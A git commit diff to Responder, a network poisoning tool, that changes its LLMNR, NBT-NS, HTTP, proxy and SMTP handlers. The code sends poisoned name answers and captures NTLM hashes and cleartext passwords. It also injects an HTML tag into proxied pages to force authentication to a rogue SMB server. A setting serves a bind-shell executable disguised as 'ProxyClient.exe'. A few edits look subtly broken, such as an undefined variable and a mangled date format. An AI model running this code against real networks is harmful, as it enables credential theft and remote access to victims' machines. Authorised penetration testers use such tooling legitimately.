Further improvements and fixes.

This commit is contained in:
jrmdev 2015-07-02 13:32:10 +10:00
parent c6de2e9d3a
commit 066c15154d
19 changed files with 179 additions and 214 deletions

View file

@ -44,27 +44,31 @@ DontRespondToName =
[HTTP Server] [HTTP Server]
; Set to On to always serve the custom .exe regardless of the URL ; Set to On to always serve the custom EXE
Serve-Always = Off Serve-Always = Off
; Set to On to serve the custom .exe when the URL contains .exe ; Set to On to replace any requested .exe with the custom EXE
Serve-Exe = On Serve-Exe = On
; Set to on to serve the custom HTML if the URL does not contain .exe ; Set to on to serve the custom HTML if the URL does not contain .exe
Serve-Html = On ; Set to Off to inject the 'HTMLToInject' in web pages instead
Serve-Html = Off
; Custom HTML to serve ; Custom HTML to serve
HtmlFilename = files/AccedsDenied.html HtmlFilename = files/AccessDenied.html
; Custom EXE File to serve ; Custom EXE File to serve
ExeFilename = files/BindShell.exe ExeFilename = files/BindShell.exe
; Name of the downloaded .exe that the client will see
ExeDownloadName = ProxyClient.exe
; Custom WPAD Script ; Custom WPAD Script
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';} WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
; HTML answer to inject in HTTP responses (before </body> tag). ; HTML answer to inject in HTTP responses (before </body> tag).
; In this example, we redirect make users' browsers issue a request to our rogue SMB server. ; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
HTMLToServe = <img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='1'> HTMLToInject = <img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='1'>
[HTTPS Server] [HTTPS Server]

View file

@ -126,11 +126,11 @@ def serve_MDNS_poisoner(host, port, handler):
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
def serve_LLMNR_poisoner(host, port, handler): def serve_LLMNR_poisoner(host, port, handler):
#try: try:
server = ThreadingUDPLLMNRServer((host, port), handler) server = ThreadingUDPLLMNRServer((host, port), handler)
server.serve_forever() server.serve_forever()
#except: except:
# print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
def serve_thread_udp(host, port, handler): def serve_thread_udp(host, port, handler):
try: try:
@ -238,7 +238,6 @@ def main():
thread.start_new(serve_thread_udp,('', 53, DNS)) thread.start_new(serve_thread_udp,('', 53, DNS))
thread.start_new(serve_thread_tcp,('', 53, DNSTCP)) thread.start_new(serve_thread_tcp,('', 53, DNSTCP))
print color('[+]', 2, 1) + " Listening for events..." print color('[+]', 2, 1) + " Listening for events..."
while True: while True:

View file

@ -1,7 +1,6 @@
#! /usr/bin/env python #!/usr/bin/env python
# NBT-NS/LLMNR Responder # This file is part of Responder
# Created by Laurent Gaffie # Original work by Laurent Gaffie - Trustwave Holdings
# Copyright (C) 2014 Trustwave Holdings, Inc.
# #
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by # it under the terms of the GNU General Public License as published by
@ -12,7 +11,7 @@
# but WITHOUT ANY WARRANTY; without even the implied warranty of # but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details. # GNU General Public License for more details.
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import re import re

View file

@ -1,6 +1,6 @@
# NBT-NS/LLMNR Responder #!/usr/bin/env python
# Created by Laurent Gaffie # This file is part of Responder
# Copyright (C) 2014 Trustwave Holdings, Inc. # Original work by Laurent Gaffie - Trustwave Holdings
# #
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by # it under the terms of the GNU General Public License as published by
@ -11,10 +11,9 @@
# but WITHOUT ANY WARRANTY; without even the implied warranty of # but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details. # GNU General Public License for more details.
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from UserDict import DictMixin from UserDict import DictMixin
class OrderedDict(dict, DictMixin): class OrderedDict(dict, DictMixin):

View file

@ -282,6 +282,9 @@ class ServeExeFile(Packet):
("AcceptRanges", "Accept-Ranges: bytes\r\n"), ("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"), ("Server", "Server: Microsoft-IIS/7.5\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"), ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("ContentDisp", "Content-Disposition: attachment; filename="),
("ContentDiFile", ""),
("FileCRLF", ";\r\n"),
("ContentLen", "Content-Length: "), ("ContentLen", "Content-Length: "),
("ActualLen", "76"), ("ActualLen", "76"),
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
@ -306,8 +309,6 @@ class ServeHtmlFile(Packet):
("ActualLen", "76"), ("ActualLen", "76"),
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
("Connection", "Connection: keep-alive\r\n"), ("Connection", "Connection: keep-alive\r\n"),
("X-CCC", "US\r\n"),
("X-CID", "2\r\n"),
("CRLF", "\r\n"), ("CRLF", "\r\n"),
("Payload", "jj"), ("Payload", "jj"),
]) ])

View file

@ -54,7 +54,7 @@ def IsICMPRedirectPlausible(IP):
pass pass
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
AnalyzeICMPRedirect(settings.Config.Bind_To) IsICMPRedirectPlausible(settings.Config.Bind_To)
# LLMNR Server class # LLMNR Server class
class LLMNR(BaseRequestHandler): class LLMNR(BaseRequestHandler):
@ -86,7 +86,7 @@ class LLMNR(BaseRequestHandler):
soc.sendto(str(Buffer), self.client_address) soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]" LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
if Finger is not None: if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) print text("[FINGER] OS Version : %s" % color(Finger[0], 3))

View file

@ -50,7 +50,7 @@ class MDNS(BaseRequestHandler):
return None return None
try: try:
# Analyze # Analyze Mode
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))

View file

@ -25,13 +25,13 @@ from utils import *
def NBT_NS_Role(data): def NBT_NS_Role(data):
Role = { Role = {
"\x41\x41\x00":"Workstation/Redirector Service.", "\x41\x41\x00":"Workstation/Redirector",
"\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)", "\x42\x4c\x00":"Domain Master Browser",
"\x42\x4d\x00":"Domain controller service. This name is a domain controller.", "\x42\x4d\x00":"Domain Controller",
"\x42\x4e\x00":"Local Master Browser.", "\x42\x4e\x00":"Local Master Browser",
"\x42\x4f\x00":"Browser Election Service.", "\x42\x4f\x00":"Browser Election",
"\x43\x41\x00":"File Server Service.", "\x43\x41\x00":"File Server",
"\x41\x42\x00":"Browser Service.", "\x41\x42\x00":"Browser",
} }
if data in Role: if data in Role:
@ -44,15 +44,15 @@ def Validate_NBT_NS(data):
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
return False return False
if NBT_NS_Role(data[43:46]) == "File Server Service.": if NBT_NS_Role(data[43:46]) == "File Server":
return True return True
if settings.Config.NBTNSDomain == True: if settings.Config.NBTNSDomain == True:
if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": if NBT_NS_Role(data[43:46]) == "Domain Controller":
return True return True
if settings.Config.Wredirect == True: if settings.Config.Wredirect == True:
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.": if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
return True return True
else: else:

View file

@ -28,7 +28,7 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile
# Parse NTLMv1/v2 hash. # Parse NTLMv1/v2 hash.
def ParseHTTPHash(data,client): def ParseHTTPHash(data, client):
LMhashLen = struct.unpack('<H',data[12:14])[0] LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0] LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
@ -106,10 +106,10 @@ def ServeFile(Filename):
bk.close() bk.close()
return data return data
def RespondWithFile(client, filename): def RespondWithFile(client, filename, dlname=None):
if filename.endswith('.exe'): if filename.endswith('.exe'):
Buffer = ServeExeFile(Payload = ServeFile(filename)) Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname)
else: else:
Buffer = ServeHtmlFile(Payload = ServeFile(filename)) Buffer = ServeHtmlFile(Payload = ServeFile(filename))
@ -136,14 +136,16 @@ def PacketSequence(data, client):
NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
# Send the .exe if needed # Serve the .exe if needed
if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)): if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)):
return RespondWithFile(client, settings.Config.Exe_Filename) return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
# Send the custom HTML if needed # Serve the custom HTML if needed
if settings.Config.Serve_Html == True: if settings.Config.Serve_Html == True:
return RespondWithFile(client, settings.Config.Html_Filename) return RespondWithFile(client, settings.Config.Html_Filename)
WPAD_Custom = WpadCustom(data, client)
if NTLM_Auth: if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
@ -163,42 +165,46 @@ def PacketSequence(data, client):
if Packet_NTLM == "\x03": if Packet_NTLM == "\x03":
NTLM_Auth = b64decode(''.join(NTLM_Auth)) NTLM_Auth = b64decode(''.join(NTLM_Auth))
ParseHTTPHash(NTLM_Auth, client) ParseHTTPHash(NTLM_Auth, client)
WPAD_Custom = WpadCustom(data, client)
if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client) print text("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom return WPAD_Custom
else: else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToServe) Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToInject)
Buffer.calculate() Buffer.calculate()
return str(Buffer) return str(Buffer)
if Basic_Auth: elif Basic_Auth:
ClearText_Auth = b64decode(''.join(Basic_Auth)) ClearText_Auth = b64decode(''.join(Basic_Auth))
GrabURL(data, client) GrabURL(data, client)
GrabHost(data, client) GrabHost(data, client)
GrabCookie(data, client) GrabCookie(data, client)
WPAD_Custom = WpadCustom(data,client)
print text("[HTTP] (Basic) Client : %s" % client) print text("[HTTP] (Basic) Client : %s" % client)
print text("[HTTP] (Basic) Username : %s" % ClearText_Auth.split(':')[0]) print text("[HTTP] (Basic) Username : %s" % ClearText_Auth.split(':')[0])
print text("[HTTP] (Basic) Password : %s" % ClearText_Auth.split(':')[1]) print text("[HTTP] (Basic) Password : %s" % ClearText_Auth.split(':')[1])
WriteData(settings.Config.HTTPBasicLog % client, ClearText_Auth, ClearText_Auth) WriteData(settings.Config.HTTPBasicLog % client, ClearText_Auth, ClearText_Auth)
if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client, 3, 0) print text("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom return WPAD_Custom
else: else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToServe) Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToInject)
Buffer.calculate() Buffer.calculate()
return str(Buffer) return str(Buffer)
else: else:
Response = IIS_Basic_401_Ans() if settings.Config.Basic == True else IIS_Auth_401_Ans() if settings.Config.Basic == True:
Response = IIS_Basic_401_Ans()
print text("[HTTP] Sending BASIC authentication request to %s" % client)
else:
Response = IIS_Auth_401_Ans()
print text("[HTTP] Sending NTLM authentication request to %s" % client)
return str(Response) return str(Response)
# HTTP Server class # HTTP Server class

View file

@ -21,44 +21,19 @@ import select
import zlib import zlib
import BaseHTTPServer import BaseHTTPServer
from servers.HTTP import RespondWithFile
from utils import * from utils import *
def HandleGzip(Headers, Content, Payload): def InjectData(data, client, req_uri):
if len(Content) > 5:
try:
unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS)
except:
return False
InjectPayload = Payload # Serve the .exe if needed
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) if settings.Config.Serve_Always == True:
HasBody = re.findall('(?<=<body)[^<]*', unziped) return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
if HasBody: # Serve the .exe if needed and client requested a .exe
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HTMLToServe, 3, 1)) if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'):
return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri))
Content = unziped.replace("<body", settings.Config.HTMLToServe +"\n<body")
ziped = zlib.compress(Content)
FinalLen = str(len(ziped))
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+FinalLen)
return Headers+'\r\n\r\n'+ziped
return False
def InjectPage(data, client):
if settings.Config.Exec_Mode_On_Off:
if settings.Config.Exe_Filename.endswith('.exe'):
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename),ContentDiFile=settings.Config.Exe_Filename)
buffer1.calculate()
return str(buffer1)
else:
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename))
buffer1.calculate()
return str(buffer1)
else:
return data
def InjectData(data):
if len(data.split('\r\n\r\n')) > 1: if len(data.split('\r\n\r\n')) > 1:
try: try:
Headers, Content = data.split('\r\n\r\n') Headers, Content = data.split('\r\n\r\n')
@ -71,22 +46,30 @@ def InjectData(data):
return data return data
if "content-encoding: gzip" in Headers.lower(): if "content-encoding: gzip" in Headers.lower():
Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
Gzip = HandleGzip(Headers, Content, settings.Config.HTMLToServe)
return Gzip if Gzip else data
if "content-type: text/html" in Headers.lower(): if "content-type: text/html" in Headers.lower():
# Serve the custom HTML if needed
if settings.Config.Serve_Html == True:
return RespondWithFile(client, settings.Config.Html_Filename)
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
HasBody = re.findall('(?<=<body)[^<]*', Content) HasBody = re.findall('(<body[^>]*>)', Content)
if HasBody: if HasBody:
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HTMLToServe, 3, 1)) print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HTMLToInject, 3, 1))
NewContent = Content.replace("<body", settings.Config.HTMLToServe +"\n<body") Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HTMLToInject))
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(NewContent))) Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
return Headers+'\r\n\r\n'+NewContent if "content-encoding: gzip" in Headers.lower():
Content = zlib.compress(lContent)
data = Headers +'\r\n'+ Content
#else:
# print text("[PROXY] Returning unmodified HTTP response")
return data return data
@ -185,10 +168,8 @@ class ProxySock:
return self.socket.recv_into(buffer, *args) return self.socket.recv_into(buffer, *args)
def send(self, *args) : def send(self, *args) :
try: try: return self.socket.send(*args)
return self.socket.send(*args) except: pass
except:
pass
def sendall(self, *args) : def sendall(self, *args) :
return self.socket.sendall(*args) return self.socket.sendall(*args)
@ -224,6 +205,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
def handle(self): def handle(self):
(ip, port) = self.client_address (ip, port) = self.client_address
print text("[PROXY] Received connection from %s" % self.client_address[0])
self.__base_handle() self.__base_handle()
def _connect_to(self, netloc, soc): def _connect_to(self, netloc, soc):
@ -291,8 +273,8 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
print text("[PROXY] Client : %s" % color(self.client_address[0], 3, 0)) print text("[PROXY] Client : %s" % color(self.client_address[0], 3))
print text("[PROXY] Requested URL : %s" % color(self.path, 3, 0)) print text("[PROXY] Requested URL : %s" % color(self.path, 3))
print text("[PROXY] Cookie : %s" % Cookie) print text("[PROXY] Cookie : %s" % Cookie)
self.headers['Connection'] = 'close' self.headers['Connection'] = 'close'
@ -302,8 +284,10 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
soc.send("%s: %s\r\n" % key_val) soc.send("%s: %s\r\n" % key_val)
soc.send("\r\n") soc.send("\r\n")
try: self._read_write(soc, netloc) try:
except: pass self._read_write(soc, netloc)
except:
pass
finally: finally:
soc.close() soc.close()
@ -322,18 +306,16 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
for i in ins: for i in ins:
if i is soc: if i is soc:
out = self.connection out = self.connection
try: #try:
data = i.recv(8192) data = i.recv(4096)
if len(settings.Config.HTMLToServe)>5: if len(data) > 1:
data = InjectData(data) data = InjectData(data, self.client_address[0], self.path)
else: #except:
data = InjectPage(data,self.client_address[0]) # pass
except:
pass
else: else:
out = soc out = soc
data = i.recv(8192) data = i.recv(4096)
if self.command == "POST": if self.command == "POST":
print text("[PROXY] POST Data : %s" % data) print text("[PROXY] POST Data : %s" % data)
if data: if data:
@ -350,4 +332,4 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
do_HEAD = do_GET do_HEAD = do_GET
do_POST = do_GET do_POST = do_GET
do_PUT = do_GET do_PUT = do_GET
do_DELETE=do_GET do_DELETE=do_GET

View file

@ -1,3 +1,19 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os import os
import settings import settings
@ -27,12 +43,11 @@ class ESMTP(BaseRequestHandler):
if data: if data:
Password = b64decode(data[:len(data)-2]) Password = b64decode(data[:len(data)-2])
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "SMTP-Clear-Text-Password-%s.txt" % self.client_address[0])
WriteData(Outfile,Username+":"+Password, Username+":"+Password)
print text("[SMTP] Address : %s" % color(self.client_address[0], 3, 0)) print text("[SMTP] Address : %s" % color(self.client_address[0], 3, 0))
print text("[SMTP] Username : %s" % color(Username, 3, 0)) print text("[SMTP] Username : %s" % color(Username, 3, 0))
print text("[SMTP] Password : %s" % color(Password, 3, 0)) print text("[SMTP] Password : %s" % color(Password, 3, 0))
WriteData(settings.Config.SMTPClearLog % self.client_address[0], Username+":"+Password, Username+":"+Password)
## FIXME: Close connection properly ## FIXME: Close connection properly

View file

@ -104,6 +104,7 @@ class Settings:
self.HTTPBasicLog = os.path.join(self.ResponderPATH, 'logs', 'HTTP-Clear-Text-Password-%s.txt') self.HTTPBasicLog = os.path.join(self.ResponderPATH, 'logs', 'HTTP-Clear-Text-Password-%s.txt')
self.LDAPClearLog = os.path.join(self.ResponderPATH, 'logs', 'LDAP-Clear-Text-Password-%s.txt') self.LDAPClearLog = os.path.join(self.ResponderPATH, 'logs', 'LDAP-Clear-Text-Password-%s.txt')
self.SMBClearLog = os.path.join(self.ResponderPATH, 'logs', 'SMB-Clear-Text-Password-%s.txt') self.SMBClearLog = os.path.join(self.ResponderPATH, 'logs', 'SMB-Clear-Text-Password-%s.txt')
self.SMTPClearLog = os.path.join(self.ResponderPATH, 'logs', 'SMTP-Clear-Text-Password-%s.txt')
self.MSSQLClearLog = os.path.join(self.ResponderPATH, 'logs', 'MSSQL-Clear-Text-Password-%s.txt') self.MSSQLClearLog = os.path.join(self.ResponderPATH, 'logs', 'MSSQL-Clear-Text-Password-%s.txt')
self.LDAPNTLMv1Log = os.path.join(self.ResponderPATH, 'logs', 'LDAP-NTLMv1-Client-%s.txt') self.LDAPNTLMv1Log = os.path.join(self.ResponderPATH, 'logs', 'LDAP-NTLMv1-Client-%s.txt')
@ -123,8 +124,9 @@ class Settings:
self.Serve_Html = self.toBool(config.get('HTTP Server', 'Serve-Html')) self.Serve_Html = self.toBool(config.get('HTTP Server', 'Serve-Html'))
self.Html_Filename = config.get('HTTP Server', 'HtmlFilename') self.Html_Filename = config.get('HTTP Server', 'HtmlFilename')
self.Exe_Filename = config.get('HTTP Server', 'ExeFilename') self.Exe_Filename = config.get('HTTP Server', 'ExeFilename')
self.Exe_DlName = config.get('HTTP Server', 'ExeDownloadName')
self.WPAD_Script = config.get('HTTP Server', 'WPADScript') self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
self.HTMLToServe = config.get('HTTP Server', 'HTMLToServe') self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
if not os.path.exists(self.Html_Filename): if not os.path.exists(self.Html_Filename):
print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)
@ -155,8 +157,8 @@ class Settings:
self.AnalyzeMode = options.Analyze self.AnalyzeMode = options.Analyze
self.CommandLine = str(sys.argv) self.CommandLine = str(sys.argv)
if self.HTMLToServe == None: if self.HtmlToInject == None:
self.HTMLToServe = '' self.HtmlToInject = ''
self.Bind_To = utils.FindLocalIP(self.Interface) self.Bind_To = utils.FindLocalIP(self.Interface)
@ -194,5 +196,5 @@ class Settings:
self.AnalyzeLogger.addHandler(ALog_Handler) self.AnalyzeLogger.addHandler(ALog_Handler)
def init(): def init():
global Config global Config, Threads
Config = Settings() Config = Settings()

View file

@ -1,7 +1,6 @@
#! /usr/bin/env python #!/usr/bin/env python
# This utility is part of NBT-NS/LLMNR Responder # This file is part of Responder
# Created by Laurent Gaffie # Original work by Laurent Gaffie - Trustwave Holdings
# Copyright (C) 2014 Trustwave Holdings, Inc.
# #
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by # it under the terms of the GNU General Public License as published by
@ -10,12 +9,18 @@
# #
# This program is distributed in the hope that it will be useful, # This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of # but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details. # GNU General Public License for more details.
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys,struct,socket,re,optparse,ConfigParser,os import sys
import struct
import socket
import re
import optparse
import ConfigParser
import os
from odict import OrderedDict from odict import OrderedDict
from socket import inet_aton, inet_ntoa from socket import inet_aton, inet_ntoa

View file

@ -1,7 +1,6 @@
#! /usr/bin/env python #!/usr/bin/env python
# NBT-NS/LLMNR Responder # This file is part of Responder
# Created by Laurent Gaffie # Original work by Laurent Gaffie - Trustwave Holdings
# Copyright (C) 2014 Trustwave Holdings, Inc.
# #
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by # it under the terms of the GNU General Public License as published by
@ -12,33 +11,23 @@
# but WITHOUT ANY WARRANTY; without even the implied warranty of # but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details. # GNU General Public License for more details.
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import datetime, struct import sys
import sys,socket,struct import os
from socket import * import datetime
from odict import OrderedDict import struct
import socket
class Packet(): sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
fields = OrderedDict([ from packets import SMBHeader, SMBNego, SMBNegoData
("", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
def GetBootTime(data): def GetBootTime(data):
Filetime = int(struct.unpack('<q',data)[0]) Filetime = int(struct.unpack('<q',data)[0])
t = divmod(Filetime - 116444736000000000, 10000000) t = divmod(Filetime - 116444736000000000, 10000000)
time = datetime.datetime.fromtimestamp(t[0]) time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S') return time, time.strftime('%Y-%m-%d %Header:%M:%S')
def IsDCVuln(t): def IsDCVuln(t):
@ -53,55 +42,19 @@ def NbtLen(data):
Len = struct.pack(">i", len(data)) Len = struct.pack(">i", len(data))
return Len return Len
from packets import SMBHeader
"""
class SMBHeader(Packet):
fields = OrderedDict([
("Proto", "\xff\x53\x4d\x42"),
("Cmd", "\x72"),
("Error-Code", "\x00\x00\x00\x00" ),
("Flag1", "\x10"),
("Flag2", "\x00\x00"),
("Pidhigh", "\x00\x00"),
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Reserved", "\x00\x00"),
("TID", "\x00\x00"),
("PID", "\xff\xfe"),
("UID", "\x00\x00"),
("MID", "\x00\x00"),
])
"""
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("StrType","\x02" ),
("dialect", "NT LM 0.12\x00"),
("StrType1","\x02"),
("dialect1", "SMB 2.002\x00"),
("StrType2","\x02"),
("dialect2", "SMB 2.???\x00"),
])
def run(host): def run(host):
s = socket(AF_INET, SOCK_STREAM) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(host) s.connect(host)
s.settimeout(5) s.settimeout(5)
h = SMBHeader(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData()) Header = SMBHeader(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
n.calculate() Nego = SMBNego(Data = SMBNegoData())
packet0 = str(h)+str(n) Nego.calculate()
buffer0 = NbtLen(packet0)+packet0
s.send(buffer0) Packet = str(Header)+str(Nego)
Buffer = NbtLen(Packet)+Packet
s.send(Buffer)
try: try:
data = s.recv(1024) data = s.recv(1024)
if data[4:5] == "\xff": if data[4:5] == "\xff":

View file

@ -1,7 +1,6 @@
#! /usr/bin/env python #!/usr/bin/env python
# Created by Laurent Gaffie # This file is part of Responder
# This file is part of the Responder toolkit. # Original work by Laurent Gaffie - Trustwave Holdings
# Copyright (C) 2014 Trustwave Holdings, Inc.
# #
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
